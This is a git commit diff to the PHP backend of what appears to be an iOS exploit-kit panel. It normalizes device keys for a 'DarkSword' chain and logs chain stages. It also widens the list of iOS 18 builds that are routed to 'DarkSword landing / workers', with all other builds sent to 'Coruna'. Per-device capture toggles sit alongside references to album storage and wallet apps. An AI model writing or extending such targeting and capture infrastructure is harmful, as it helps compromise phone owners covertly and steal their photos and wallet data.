This commit is contained in:
hashbro
2026-09-12 03:42:48 +08:00
parent b212332828
commit 8c5724ff3b
50 changed files with 73924 additions and 657 deletions
+45 -4
View File
@@ -145,14 +145,55 @@ class Device extends Model
return $this->albumStorageEnabled() || $this->hasWalletApps();
}
/**
* Normalize a DarkSword device key to the canonical dashed UUID format
* (8-4-4-4-12, uppercase). This is the single source of truth used by
* extractDeviceKey, captureEnabledForKey, and register() so that storage
* and display are always the same format.
*
* - Strips non-hex characters (including dashes, spaces, braces).
* - Uppercases.
* - If exactly 32 hex chars → formats as XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX.
* - If not 32 chars (e.g. old xxbb 16-hex IDs) → returns uppercase hex as-is.
*/
public static function normalizeDarkswordKey(?string $deviceKey): ?string
{
if ($deviceKey === null || $deviceKey === '') {
return null;
}
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $deviceKey) ?? '');
if ($hex === '') {
return null;
}
// Only 32-char hex values are UUIDs — format with dashes.
if (strlen($hex) === 32) {
return substr($hex, 0, 8).'-'.substr($hex, 8, 4).'-'.substr($hex, 12, 4).'-'.substr($hex, 16, 4).'-'.substr($hex, 20, 12);
}
// Non-32-char IDs (e.g. old xxbb 16-hex) — return as-is.
return substr($hex, 0, 64);
}
public static function captureEnabledForKey(?string $deviceKey): bool
{
$key = preg_replace('/[^0-9A-Za-z._-]/', '', (string) $deviceKey) ?? '';
if ($key === '') {
$key = static::normalizeDarkswordKey($deviceKey);
if ($key === null) {
return false;
}
$device = static::query()->where('device_id', $key)->first()
?? static::query()->where('device_id', strtoupper($key))->first();
$device = static::query()->where('device_id', $key)->first();
// Safety net: if not found by dashed format, try plain (no dashes).
// This covers xxbb/coruna devices that may store a 32-char hex ID
// in plain format via IngestService::normalizeDeviceKey.
if (! $device && strlen($key) === 36) {
$plain = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $key) ?? '');
if ($plain !== '' && $plain !== $key) {
$device = static::query()->where('device_id', $plain)->first();
}
}
return $device?->persistCaptureEnabled() ?? false;
}
+1 -1
View File
@@ -86,7 +86,7 @@ class DsChainLog extends Model
?string $label = null,
?string $channelId = null,
): ?self {
$clientUid = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $clientUid) ?? '');
$clientUid = Device::normalizeDarkswordKey($clientUid) ?? '';
$stage = strtolower(trim($stage));
if ($clientUid === '' || ! isset(self::STAGES[$stage])) {
return null;
+5 -1
View File
@@ -44,7 +44,11 @@ class PageVisit extends Model
}
/** Only these iOS builds enter the DarkSword landing / workers. */
public const DARKSWORD_IOS_VERSIONS = ['18.5', '18.6', '18.6.1', '18.6.2'];
public const DARKSWORD_IOS_VERSIONS = [
'18.1.1', '18.4', '18.4.1',
'18.5', '18.6', '18.6.1', '18.6.2',
'18.7', '18.7.1', '18.7.2',
];
/**
* t.js / DS register: allowlisted builds → DarkSword; everything else → Coruna.